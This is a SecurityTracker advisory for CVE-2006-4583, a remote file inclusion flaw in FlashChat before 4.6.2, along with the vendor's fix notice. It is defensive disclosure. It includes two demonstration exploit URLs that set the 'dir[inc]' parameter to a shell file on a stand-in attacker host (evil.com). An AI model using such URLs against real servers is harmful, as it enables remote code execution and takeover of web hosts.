FlashChat Include File Bug in 'dir[inc]' Parameter Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016784 |
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SecurityTracker URL: http://securitytracker.com/id/1016784
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CVE Reference:
CVE-2006-4583
(Links to External Site)
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Updated: Jun 8 2008
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Original Entry Date: Sep 4 2006
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Impact:
Execution of arbitrary code via network, User access via network
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): prior to 4.6.2
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Description:
A vulnerability was reported in FlashChat. A remote user can include and execute arbitrary code on the target system.
The software does not properly validate user-supplied input in the 'dir[inc]' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
Some demonstration exploit URLs are provided:
http://[target]/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt?
http://[target]/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt?
NeXtMaN reported this vulnerability.
A demonstration exploit is available at:
http://www.milw0rm.com/exploits/2293
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Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution:
The vendor has issued a fixed version (4.6.2), available at:
http://www.tufat.com/download.php
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Vendor URL: www.tufat.com/script.php?id_num=2 (Links to External Site)
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Cause:
Input validation error, State error
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Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: Mon, 4 Sep 2006 13:32:41 -0400
Subject: FlashChat vulnerability
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http://www.tufat.com/changeLog2.htm
> An important security update has been made to FlashChat. Please download and install
> FlashChat 4.6.2 as soon as possible to avoid known security exploits.
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